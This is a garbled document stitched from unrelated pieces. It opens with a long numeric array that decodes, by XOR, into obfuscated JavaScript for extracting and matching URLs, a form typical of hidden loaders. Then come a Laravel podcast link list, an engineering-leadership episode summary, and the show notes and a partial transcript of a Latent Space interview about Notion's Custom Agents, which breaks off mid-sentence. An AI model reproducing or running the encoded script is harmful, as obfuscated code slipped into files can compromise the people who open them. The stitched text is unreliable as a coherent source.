7,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,1
Jake and Michael discuss all the latest Laravel releases, tutorials, and happenings in the community.Show linksUnitTest Attribute and More in Laravel 13.3.0Tim MacDonald's testing performance tipsPestPHP Intellisense in Laravel VS Code Extension v1.7.0Axios npm Package Compromised With Remote Access TrojanPHPantom: A Fast PHP Language Server Built in RustPhpStorm 2026.1 ReleasedPAO: Agent-Optimized Output for PHP Testing ToolsManage Laravel Cloud from the Terminal with the New Cloud CLIMatt Stauffer Joins the PHP Foundation Board — What It Means for LaravelJSON Alexander Gives Developers a Simpler, More Trustworthy Way to View JSON in the BrowserJSON HeroLaracon US 2026 AnnouncedFormRequest Strict Mode and Queue Job Inspection in Laravel 13.4.0Laravel Cloud Adds Path Blocking to Prevent Bots From Waking Hibernated AppsLaravel Starter Kits Now Include Toast NotificationsDrop in comments for Filament with CommentionsLog User Activity in Your Laravel App with Activity Log v5 Manage Software Licenses in Laravel with Laravel LicensingArtisanFlow: A Flowchart Engine for Laravel and Alpine.jsLaravel QuickBooks MCP Server: Connect QuickBooks Online to AI ClientsPretty PHP Info: A Modern Replacement for phpinfo()Passage: A Lightweight API Proxy Gateway for LaravelTutorialsBuild an AI Chat Agent with Laravel 12, MongoDB Atlas Vector Search, and Voyage AIShip AI with Laravel: Smart Ticket Triage with Structured OutputShip AI with Laravel: Stop Your AI Agent from GuessingMaking Laravel MongoDB Operations Idempotent: Safe Retries for Financial Transactions
If you're an engineering leader right now, everything around you feels like it's changing at once — new tools, new processes, new expectations. It's tempting to accept chaos as the new normal, but in today's episode, I make the case that your job is to go on the offense and *create* order. Not by clinging to old processes, but by becoming the groundskeeper of your team's ceremonies — the regular, repeated actions that give your team a foundation to actually improve from. Humans Are the Limiting Factor (And That's Okay): Our fundamental cognitive capabilities haven't changed in tens of thousands of years. Progress is collective — better tools, better documentation, better knowledge systems — but individually, our brains work the same way they always have. Any process that involves humans has to account for this. Why Ceremony Matters More Than Ever: Whether you call them scrum ceremonies, team rituals, or just "the way we work," regular and repeated team actions aren't bureaucratic overhead. They're how humans learn, build comfort, and reduce cognitive load. Just like sitting in the same seat at your coffee shop or driving the same route to work, repeated patterns free up mental energy for the things that actually require your attention. Regularity of Action Over Specific Process: This isn't a prescription for scrum or kanban or any particular framework. The point is that your team has some determined, repeated way of doing things — whether that's a weekly planning session, a daily standup, or a trigger-based refinement process. The specific process matters less than the consistency. Ceremony Enables Experimentation: If you want to get better, you need to be able to change one variable at a time and measure the result. That's impossible when everything is changing at once. Holding your core processes steady gives you the controlled environment you need to actually learn what's working and what isn't. Spot the Anomalies: When you maintain regularity, deviations become visible. If productivity dips but your ceremonies stayed constant, you have a much better shot at diagnosing what actually changed. Without that baseline, every signal gets lost in the noise. Episode Homework: Sit down with your team this week and talk about what your ceremonies are. What do you want to hold constant? What do you want to be true on a regular basis? Name them, write them down, and commit to tending them — even as everything else shifts around you.
For all those who missed out on London, see you in Miami next week!Notion, the knowledge work decacorn, has been building AI tooling since before ChatGPT, with many hits from Q&A in 2023 and unified AI in 2024 and Meeting Notes in 2025. At the end of their last Make user conference, Ryan Nystrom teased Notion 3.0's Custom Agents - and they are finally embracing the Agent Lab playbook!Sarah Sachs and Simon Last of Notion join us for a deep dive into how Notion built Custom Agents, why it took years and multiple rebuilds to get right, and what it means to turn a productivity tool into an agent-native system of record for enterprise work.We go inside the product, engineering, evals, pricing, and org design decisions behind one of the most ambitious AI product efforts in software today — from early failed tool-calling experiments in 2022 to agent harnesses, progressive tool disclosure, meeting notes as data capture, and the long-term vision for software factories and agentic work.We discuss:* Sarah and Simon's path to launching Notion Custom Agents, and why the feature was rebuilt four or five times before it was ready for production* Why early agent attempts failed: no tool-calling standard, short context windows, unreliable models, and too much complexity exposed to the model* The “Agent Lab” thesis: not just wrapping a model, but understanding how people collaborate and building the right product system around frontier capabilities* How Notion thinks about roadmap timing: not swimming upstream against model limitations, but also building early enough that the product is ready when the models are* Why coding agents feel like the kernel of AGI, and how Notion is thinking about “software factories” made up of agents that spec, code, test, debug, review, and maintain codebases together* How Sarah runs AI engineering at Notion (“notes from Token Town”): objective-setting over idea ownership, low-ego teams comfortable deleting their own work, and a culture designed to swarm around fast-changing opportunities* The “Simon Vortex,” company hackathons, and why security gets pulled in early rather than late* How Notion organizes AI: core AI capabilities and infrastructure, product packaging teams, and a broader company mandate that every product surface must increasingly work for both humans and agents* Why prototypes have become much easier to build internally, and how “demos over memos” changes product development inside a tool the whole company already uses every day* Notion's eval philosophy: regression tests, launch-quality evals, and “frontier/headroom” evals that intentionally only pass ~30% of the time so the company can see where model capabilities are going* What a “Model Behavior Engineer” is, and why Notion treats eval writing, failure analysis, and model understanding as a distinct function rather than just software engineering* The changing role of software engineers in the age of coding agents, and why the new job looks less like typing code and more like supervising a rigorous outer system of agents, PRs, and verification loops* How the “software factory” should work: specs, self-verification, bug flows, subagents, and minimizing human intervention while preserving the invariants that matter* A live walkthrough of a Notion Custom Agent handling coworking space tenant applications by triaging email, enriching applicants with web search, and writing structured data into a Notion database* How agents compose inside Notion: shared databases as primitives, agents invoking other agents, “manager agents” supervising dozens of specialized agents, and memory implemented simply as pages and databases* Notion's take on MCP vs CLI: why Simon is bullish on CLI's self-debugging nature, where MCP still makes sense, and how Sarah thinks about capability, determinism, permissioning, and pricing alignment* The evolution of Notion's internal agent harness: from early JavaScript coding agents, to custom XML, to Markdown and SQL-like abstractions, to tool definitions, progressive disclosure, and a much shorter system prompt* Why Notion cares about teaching “the top of the class,” building for sophisticated operators rather than abstracting away too much capability for everyone* How agent setup works today: agents that can configure themselves, inspect their own failures, and edit their own instructions — with guardrails around permissions* How Notion prices Custom Agents: credits as an abstraction over tokens, model type, serving tier, web search, and future sandbox costs; why usage-based pricing was necessary; and how “auto” tries to match the right model to the right task* Why Notion is not eager to train a foundation model, where they do fine-tune and optimize today, and why retrieval/ranking is one of the most important investment areas as more searches come from agents rather than humans* Why Meeting Notes became one of Notion's strongest growth loops: not just as transcription, but as high-signal data capture that powers search, custom agents, follow-up workflows, and the broader system of record for company collaboration* Why Notion is more interested in being the place where collaboration data lives than in building hardware themselves — and how wearables or other capture devices may eventually feed into that systemSarah SachsLinkedIn: https://www.linkedin.com/in/sarahmsachsX: https://x.com/sarahmsachsSimon LastLinkedIn: https://www.linkedin.com/in/simon-last-41404140X: https://x.com/simonlastFull Video EpisodeTimestamps* 00:00:00 Introduction and launching Notion Custom Agents* 00:01:17 Why Notion rebuilt agents four or five times* 00:03:35 Building for where models are going, not just where they are* 00:05:32 The Agent Lab thesis, wrappers, and product intuition* 00:08:07 User journeys, leadership, and low-ego AI teams* 00:13:16 The Simon Vortex, hackathons, and bringing security in early* 00:16:39 Team structure, demos over memos, and building for agents* 00:20:25 Evals, Notion's Last Exam, and the Model Behavior Engineer role* 00:27:37 Evals as an agent harness and the changing role of software engineers* 00:30:42 The software factory: specs, verification, and agent workflows* 00:32:18 Live demo: a custom agent for coworking space applications* 00:35:08 Composing agents, manager agents, and memory as pages* 00:38:15 Notion Mail, Gmail, native integrations, and tools* 00:39:43 MCP vs CLI and the cost of capability* 00:44:13 When Notion uses MCP vs building its own integrations* 00:47:43 The history of Notion's agent harness rebuilds* 00:55:35 Power users, public tools, and the setup agent* 00:58:01 Self-fixing agents, permissions, and “flippy”* 01:01:13 Pricing, credits, and choosing the right model automatically* 01:09:01 Why Notion isn't training its own frontier model* 01:14:07 Retrieval, ranking, and search built for agents* 01:17:27 Meeting Notes as data capture and workflow automation* 01:21:18 Wearables, hardware, and Notion as the system of record* 01:23:45 OutroTranscript[00:00:00] Alessio: Hey everyone. Welcome to the Latent Space podcast. This is Alessio founder of Kernel Labs and I'm joined by swyx, editor of the Latent Space.[00:00:11] swyx: Hello. Hello. We're back in the beautiful studio that, uh, Alessio has set up for us with Simon and Sarah from Notion. Welcome.[00:00:18] Sarah Sachs: Thanks for having us.[00:00:19] Alessio: Thanks for having us. Yeah.[00:00:20] swyx: Congrats on the launch recently the custom agents, finally it's here. How's it feel?[00:00:26] Sarah Sachs: We ship things slowly. So it had been in Alpha for a little bit and at the point at which is it's an alpha, um, there's a group of people that are making sure it's ready for prod, and then there's a group of people working on the next thing.So sometimes some of these launches are a bit delayed satisfaction, so it's quite nice to remind yourself all the work you did because we do have a habit of like. Being two or three milestones ahead. Uh, just ‘cause you have to be, you know, you can't get complacent. Um, but it's been great that people understood how this is helpful.And I think that's just easier in general building AI tools today than it was two, three years ago. People kind of get it and so that user education, um, there's just, it was our most successful launch in terms of free trials and converting people and things like that. It was really successful, so yeah.But there's a lot to build.[00:01:12] swyx: Making it free for three months helps.[00:01:16] Sarah Sachs: Yep.[00:01:17] Simon Last: It was definitely super exciting for me because it's probably the fourth or fifth time that we rebuilt that.[00:01:22] swyx: Yes.[00:01:23] Simon Last: And I mean,[00:01:24] swyx: you've been building this since like 20, 22.[00:01:26] Simon Last: Yeah, I mean, like, it was even right when we got access to like GPT four in late 20 22, 1 of the first ideas we had is like, oh, okay, let's make an agent that I, we used the word assistant at the time, there wasn't really the word, the word agent yet, but, oh, we'll give an access to all the tools the notion can do, and then it, we run in the background like, like do work for us.And then we just tried that many times and it just. Was too early. Um,[00:01:48] swyx: I need to force you to like double click on that. What is too early? What didn't work?[00:01:52] Sarah Sachs: We were fine to, like, before function calling came out. We were trying to fine tune with the Frontier Labs and with fireworks, like a function calling model on notion functions.This is right when I joined. I joined because, um, we needed a manager as Simon was needed to be able to go on vacation. So, uh, that's, that's around when I joined, so you can speak much more to it.[00:02:11] Simon Last: Yeah, we did partnerships with both philanthropic and open AI at different times, uh, to try to, at the time the, I mean, when we first tried, there wasn't even a constant of like tools yet.We, we sort of designed our own like, like tool calling framework and then we tried to fine tune the models to, uh, to use it over multiple turns. Um, and because it, it didn't work well out the box, I think. Yeah. The models are just too dumb and the context thing was also way too short.[00:02:37] Alsesio: Yeah.[00:02:37] Simon Last: Um, and yeah, we just kind of banged our head against it for a long time.Uh, unfortunately it was always like, there was always like sort of. Glimmers that it was working, but um, it never felt quite robust enough to be like a useful, delightful thing. Um, until I would say, uh, the big unlock was probably like Sonic 3.6 or seven, uh, early last year. And that's when we started working on our agent, which we shipped last year.Um, and then, and then uh, uh, custom agents, kinda a similar capability and that, that one just took longer because we, we just wanted to get the reliability up a lot higher. ‘cause it's actually running in the background.[00:03:14] Sarah Sachs: And the product interface of like permissions and understanding, you know, this custom agent is shared in a Slack channel with X group of people and has access to documents that are surfaced to Y group of people.And the intersect experts, Y might not be whole. And so how do you build the product around making sure administrators understand that permissioning took multiple swings.[00:03:35] Alsesio: Everything is hard back at the end of the day. Yeah. I'm curious, like when the models are not working, how do you inform the product roadmap of like, okay, we should probably build, expecting the models to be better at some reasonable pace, but at the same time we need to, you know, you had a lot of customers in 2022.It's not like you were a new company or like no user base.[00:03:54] Simon Last: Yeah, I mean I think there's always the balance of, you know, like you want to be a GI pilled and thinking ahead and building for where things are going. Uh, but also you wanna be like shipping useful things. And so we always try to like, like keep a balance there.You know, we. We try to take clear, like a portfolio approach. You know, we're always working on multiple projects and, and we're always trying to work on, you know, maintaining things where that have already shipped, like, like shipping new things that are like eminently working well and make them really good.And, and then we wanna always have a few projects that are a little bit crazy. Um,[00:04:23] Alsesio: and what are the a GI peel projects that you have today? I'm curious about, uh, you don't have to share exactly what you're working on, but I'm curious what are things today that maybe in 18 months people will be like, oh, obviously this was gonna work[00:04:35] Sarah Sachs: 18 months.[00:04:37] Alsesio: Yeah, 18 months is, you know,[00:04:37] Sarah Sachs: it's a long time and Yeah. Yeah.[00:04:39] Simon Last: I mean, there's a number of things happening. I think one thing that's becoming more clear is I think like, like, uh, coding agents are the kernel of EGI, sort of, everything is a coding agent. Mm-hmm. I think that's, that's sort of one, one direction.Um, and then, yeah, the exciting thing about that is sort of your agent can sort of bootstrap its own software and capabilities and actually debug and maintain them. And so yeah, we're, we're, we're thinking a lot about that. And then, yeah, like, like another category of things that I'm, I'm really excited about is like, uh, we call the software factory also.People are using this, uh, this, this sort of word. Um, basically it just means can you create sort of like a, as automated as possible, a workflow for developing debugging. Mm-hmm. Merging, reviewing, and maintaining a code base and a service where there's a bunch of agents working together inside, and like, like how does that work?[00:05:28] Sarah Sachs: If you think back to your initial question, like, why did this take so long? I think something,[00:05:32] swyx: I didn't say that, but Yes. Okay. Go ahead.[00:05:34] Sarah Sachs: Why, what, what changed over the three and half years of trying[00:05:37] swyx: it? Exactly. Right. Because most people always say like, it didn't work yet. Then reasoning models came, then it worked.I was like, okay, let's go a little[00:05:43] Sarah Sachs: bit. That's, I mean, that's part of it, but I think the other part of it that I actually think is really what will set notion apart for every new capability is we have like. Two skills that are crucial when it comes to frontier capabilities. One is not letting yourself swim upstream.So like quickly realizing if you're just pressing against model capabilities versus not exposing the model to the right information, not having the right infrastructure set up. That and of itself is the skill of intuition. And the second is to see, okay, you're not swimming upstream. Which direction is the river flowing and what is like, how do we think ahead about the product and start building it even if it's not great yet, so that when it is there, we're ready for it.Right? And like those can sometimes feel like counterintuitive things. Like we can be trying to fine tune a tool calling model when they don't exist yet. And that the trick is to not do that for too long, but realize that there was something there. And we've had a lot of things which like, um, we're just like not swimming in the right direction with the streams.I think we had multiple versions of transcription before we got meeting notes, right? Oh, I gotta talk[00:06:39] swyx: about that. Yeah.[00:06:40] Sarah Sachs: Yeah. Um, and so. I, I, I think that like we, we really closely partner with the Frontier Labs on capabilities and we also have to have strong conviction on, as those capabilities move.Notion is about being the best place for you to collaborate and do your work. And how does that narrative change if the way that we work changes?Yeah.[00:06:58] swyx: Yeah. You told me you were a fan of the Agent Lab thesis, and this is, this is kind of it, right?[00:07:02] Sarah Sachs: Right. I show that thesis to so many candidates. Like I have it as like micro chrome autofill.Um, at this point, like it's one of my most visitations[00:07:10] swyx: because like, is this the, here's why you should work in notion and not open, open eye. I, it's like,[00:07:14] Sarah Sachs: here's, here's what's different about it.[00:07:16] swyx: Yeah.[00:07:16] Sarah Sachs: And here's why. It's not just a rapper. I actually think more and more people understand it's not just a wrapper.[00:07:21] swyx: Yeah.[00:07:22] Sarah Sachs: Um, and by the way, like in the beginning, parts of what we build are wrappers on functionality. That works well, of course, but that's not really the most, um. I would say that's not the product that, that drives revenue. And that's not necessarily always what users need.[00:07:35] swyx: I mean, you know, notion is the AWS wrapper, but like the, the wrapper is very beautiful and like very, very well polished.So[00:07:40] Sarah Sachs: like the analogy,[00:07:41] swyx: like[00:07:42] Sarah Sachs: the analogy that I've been coming back to his Datadog in AWS[00:07:45] swyx: Yeah.[00:07:46] Sarah Sachs: So, uh, Datadog could not exist with, without cloud storage. Right. That it's kind of fundamental that that works. Um, and AWS has like a CloudWatch product, but Datadog is an expert on understanding how people want observability on the products they launch.And we're experts in understanding how people wanna collaborate, and that's really where our expertise lies.[00:08:04] swyx: Totally.[00:08:04] Sarah Sachs: Um, regardless of the tools that we use,[00:08:07] Alsesio: I'm kind of curious how you think about implicit versus explicit expertise. I feel like Datadog is half and half implicit and explicit. It's like they understand across markets and industries what engineering teams usually look for.With notion, it's almost like more of the expertise is at the edge because you as a platform, you're like so horizontal that the end user is not really the same. Mm-hmm. Like with Datadog, the end user is always like, yeah, an engineering lead, a kinda like SRE related person with notion. It can be anything.So I'm curious how you put that expertise into a product versus, you know, obviously it, WS cannot build notion. It's, that doesn't quite work in this case, but[00:08:44] Simon Last: it's, it's a little bit differently shaped. I think, you know, a classic vertical SaaS, like the data is kind of like that. They understand their individual customer very deeply.It's kinda a narrow slice, um, notion has always been super horizontal. And our, our task has always been to sort of balance these two somewhat opposing forces of like, we're listening to our customers and what they want us to build. It's a broad slice. And then also we're thinking about like, okay, how do we decompose what they want into, uh, nice primitives that are, that are really nice to use and we'll, we'll get us like as much bang for the buck as possible.And then, you know. Maintain the whole system, make it all like, like super clean and nice to use.[00:09:22] Sarah Sachs: We still have user journeys. I mean, we still focus on like core. I actually think the failure of our team is when we focus too much on what are cools that are, what are tools that are[00:09:31] Simon Last: mm-hmm.[00:09:31] Sarah Sachs: Cool tools. I actually think that's when we make have the least velocity because you still need some sort of focus on a user journey.So like for instance, we'll all sit down every Friday and look at the P 99 of like the most token exhaustive custom agent transcript and just look at why it didn't do well and cut a bunch of tasks. Like we still focus on like, this has, like this should work. Email triaging should work. Mm-hmm. Right. And similarly, like when we're talking about before building, um, chatting, um, before we started filming about, okay, how can I do PDF export?Well that's functionality that then merits. Maybe we should build a tool that has access to a computer sandbox in a file system and the ability to write code. Right? Right. Um, but it's because we're thinking about the fact that our users to do their, to do their daily work, need to export PDFs, not because we're like, Hmm, I think a computer tool could be cool.Like, let's just see what happens. Mm-hmm. Like we, we have to focus on some user journeys, otherwise we just don't have like, enough strategy to, to prioritize.[00:10:29] swyx: I think there's a lot of like really strong opinions that you've had. Do you have like sort of like a towel of Sarah Sachs? Like, you know, like what, how do you run your team?Like I feel like you just have accumulated all these strong opinions. Obviously part, part of this is your, your token town thing.[00:10:43] Sarah Sachs: I think the TAs working with Service X is, um, you'd have to, it depends who you ask. Um, I think it depends if you're on my team or a partner Right. Or a vendor.[00:10:54] swyx: Yeah. There other people want to run their teams the way that you're Yeah.You're like bringing these things. And then also similarly, uh, Simon, when you did the custom agents demo, you had like, well, we've been using custom agents and here's the super long list of everything that we do. No humans ever read it. Right? That's what you said. I was like,[00:11:07] Sarah Sachs: yeah. So I think for, for me, um, something that I learned very quickly and became very comfortable with was that my job was not to be the ideas per person or the technical expert.My job was to make it so that everybody understood the objective, had a resource to help prioritize what they should work on, and had an avenue to prioritize what they thought was important. And I think that's true with all, all leadership, but I think especially on the AI team. Almost all of our best ideas come from prototypes, from people that have a cool idea because they saw a user problem, and it's a huge disservice if all of those ideas have to pass, like the sniff test of what me and a product partner or Simon and Ivan decided were the direction, right?Because a lot of what we're doing is leaning into capabilities, so. I think that's the first thing is like, I don't really view like the role of engineering leadership as like, uh, hierarchical, nor has it ever been, but especially now, like very willing to change direction based on, um, like proof is in the pudding.Yeah. And like, and I think we have rebuilt our harness three or four times. And when you do that, then the second rule of engineering leadership is like you need to build a team that's comfortable deleting their own code and is very low ego and is driven by what's best for the company. And, um, doesn't write design docs because they think it's their promotion packet.Right. And that's a culture that notion had long before I joined, but like our willingness to just swarm on different problems and um, redo things that we've built before because something has changed. Like, there's a lot of friction that can happen at companies when you do that. And it doesn't happen at Notion.And because it doesn't happen when new people join. Like they don't wanna be the ones that are saying, we shouldn't do this. I wrote that code. So then it's, you know, you, you create a culture that everyone thoughts and that culture comes directly, I think from Simon and Ivan though, um, because they're very open-minded.[00:12:50] swyx: Anything that you,[00:12:50] Simon Last: you'd add? I'm not a manager, like, like, like Sarah is. Um, a lot of my role is really to try to think a little bit ahead, make sure that we're, we're building on the right capabilities and then like the prototyping stuff. And yeah, it's really, really critical to always just be starting again.It's like, okay, this is new thing. What does this mean? What if we just rethought everything or wrote everything? And so I, I'm, I'm basically just doing that in a loop every six months.[00:13:16] swyx: Yeah. Do you believe in internal hackathons for this stuff?[00:13:19] Sarah Sachs: I think there's like two different versions. So one is like, we just have a, a, a solid bench of senior engineers that come and go on what we call the Simon Vortex and Productionizing what we built, right?Because when you're in the Simon Vortex, the velocity is super high. The direction changes daily, and it's meant to be like the equivalent of a SC Works lab. We don't need to do hackathons for that. We need to have senior engineers that we trust to come in and out of those projects. For instance, like management boundaries are really loose.Like you report to him, but you work for her right now. Yeah. That's something that when we hire managers, it's important they don't care about because we tend to form more structures. Yeah. Don't be too[00:13:54] swyx: territorial.[00:13:55] Sarah Sachs: We form more. It's after we ship things, not not before, just historically. Um, the second thing is we do have companywide hackathons.Actually we just had our demos day for the hackathon we had last week this morning. That's more for people that aren't directly working on the project, feeling like they have the time to pause and learn how to make themselves more productive or how they would use notion custom agents to build something.Or part of the hackathon was actually encouraging everyone across the company to build their own agentic tool loop, calling from scratch. Follow like an every blog post on how to do what I think because we want[00:14:26] swyx: just with the compound engineering one. Yeah.[00:14:28] Sarah Sachs: We want everyone to use cloud code in the company or whatever the coding agent they please and understand that fundamental.So we set aside a day and a half. We're all leadership, encourage everyone on their teams across the company to do it. So we have hackathons like that. I would say like kind of facetiously, like everything we build is a little bit like a hackathon until it graduates and puts on big boy pants and as a product ops rollout leader and has a assigned data scientists and stuff like that,[00:14:54] swyx: security review enterprise stuff,[00:14:56] Sarah Sachs: actually security reviews one of the things that we bring in first because it just slows us down way more and, um, causes a lot of tension and they build better product if they're involved early.So, um, that is probably the first person to get involved in something that's the[00:15:09] swyx: right PR approved answer.[00:15:10] Sarah Sachs: No, but it's not just PR approved. It like, um, um, it's[00:15:13] swyx: actually real. It's actually real. It's like, um, I'm just saying scar[00:15:15] Sarah Sachs: tissue.[00:15:15] swyx: Yeah,[00:15:16] Sarah Sachs: because like, you know, my background's also, I worked at Robinhood for a number of years.Yes. So like, uh, compliance and things like that, um, are a little bit more, you learn the hard way when it doesn't come naturally.[00:15:26] Simon Last: Yeah. I think the. The hackathon is really important for uplifting the general population, but like, if that's the only way you can build new things, you're kind of toast. I mean, it, it has to be like the daily processes, like, you know, building these new things.Um, and it has to be about, I think like, I think in the AI era a lot more leverage accumulates to the most curious and excited people. And so it's like we're all about just like activating that energy. You know, like if someone's protesting something on the weekend that they're excited about and it's important, that should be the main thing that we're doing.Yeah. Um, it's not a hackathon that we schedule once a quarter, it's just like, yeah. Daily process. Part of the culture.[00:16:02] Sarah Sachs: I mean, that's how we shift image generation and notion now. It was always this thing that would be kind of nice to have, but it wasn't really clear where that was necessarily aligned in product priorities.It'd be a lot of work. And we had someone on the database collections team, Jimmy, who was like. I really wanna do image generation for cover photos and inside notion. And we're like, if you wanna build it, like it's, do it please. Like we encourage you. We gave ‘em all the resources of working directly with Gemini and being able to like track the token usage and it working through endpoints.We gave them eval, support, everything, and then became a, a full project.[00:16:34] Alsesio: Yeah.[00:16:35] Sarah Sachs: That's why you can't have like ego as a, a leader. Like that's, that's how we work.[00:16:39] Alsesio: What's the size of the team today, both engineering and overall?[00:16:43] Sarah Sachs: I manage, uh, the team. That's what we'll call it. Core AI capabilities and infrastructure.That's about 50 people. But then we have per i partner teams that do packaging. So how it shows up in the corner chat versus custom agents versus meeting notes, that's another 30, 40 people. And, and then every team that has a product service at Notion that a user can interface with owns the tool that the agent interfaces with the editor team.The team that did CRDT for offline mode is the same team that handles how two agents, um, edit competing blocks. Mm-hmm. Right? It's the same problem. The team that built the underlying SQL engine is the same team that owns how the agent asks it to run a SQL query, and it does it performantly. And so from that regard, anyone working on product engineering is tasked with making them work for customers that are humans and agents because over time the majority of our traffic will be coming from agencies using in our interface, not humans.And so. Our objective is to make it so that the whole product org is building for agents.[00:17:40] Alsesio: Yeah. How has it changed internally? The activation bar is kind of lowered a lot. Like anybody can kind of create a prototype very, somewhat easily, especially if you're like an existing code base. Have you raised the bar on like what type of prototype people need to bring forward to gonna be taken?Not like seriously, but like, you know what I[00:17:58] Simon Last: mean? Yeah. I think the bar is lowered in many ways. Be like, one thing our, uh, our team built that is really cool is our, uh, our, our design team made a whole separate GitHub repo, uh, called the, the design Playground. And it's basically just to create a bunch of like, like helper components and you, uh, for, for quickly a throwing together UIs.And it's become like actually quite sophisticated. Like it has like an agent in there and like, uh, that's pretty fun. So like, we pretty much, like, they don't do mocks, they just make like, like full, full prototypes.[00:18:27] swyx: Here it is. It works.[00:18:28] Simon Last: They give you like a u rl. They're like, okay, all right. So we have to make the, like the real production version of that.Um, and then for engineers. A prototype looks like just making it a feature flag that actually works. Like that's sort of the bar.[00:18:39] Sarah Sachs: Something to understand that's really unique about notion. One of the reasons I joined we're super lucky is no one uses Notion in their job as much as people that work at Notion.[00:18:46] Simon Last: Of course.[00:18:47] Sarah Sachs: So I think there's very few companies, maybe if you worked on Chrome I guess, but like everything that we ship, we ship internally first and get a lot of really quick feedback. And also sometimes our dev instance is totally borked and you have to change a bunch of flags to get things done. And that's kind of like, but everyone, so people that do it ticketing, people that do supply chain procurement, recruiting, everyone is using the same instance of notion with like a lot of flags on for these prototypes people build.Um, and so we have this, Brian Levin, one of the designers on our team, I think evangelize this concept of demos over memos.[00:19:18] swyx: Ooh, too[00:19:20] Sarah Sachs: good. Um, which has been, uh, very good for building demos, and I think it's put a big pressure point on us to have really strong product conviction, because if anything can be demoed, you really need a strong filter of making sure that if you know, you're doing X amount of work, you're making the, you're, you're focusing on one tower, you're not just building a really flat hill.Right. That's actually where I think there has to be more conviction from our PMs, um, and our designers and, and well, the company really to have conviction of what journey we're going on.[00:19:52] Simon Last: But overall, I feel like it works pretty well. Like people, almost all the engineers have good enough taste to realize that like, this prototype doesn't actually make sense in the product, or, or it does.So it's not that common that I would see a prototype. It's like, oh, this makes no sense. Mm-hmm. It's like, you know, people are doing reasonable things and, and, and then it's just a matter of. Which things we build first and then often just, just figuring out how to turn it on and off. There's our, in the, in our like experimental chat ui, there's this, there's probably like, like a hundred check boxes in there.[00:20:22] Sarah Sachs: Kills me[00:20:23] Simon Last: the things you could turn on and off.[00:20:25] Sarah Sachs: Uh, but I think that, okay, so that is kind of true, Simon, but like being the person that manages the evals team, like there is a level of intensity that it adds to the platform team. So, you know, if we're gonna do image generation and notion, all of a sudden the way that we do attachments and the way that we, um, our LLM completion like cortex talks and expects tokens back and now it's getting images back.Like there's a lot of platform work that we do need to, like solidify a little bit. So sometimes it'll be in dev for a couple weeks before it makes it to prod just because we still have to like, make it robust, make it HIPAA compliant, ZDR compliant, figure out the right contracting with the vendor, whatever it is.And we need to eval it because we want the team. To still maintain what they build. That's the one thing is like if we have a 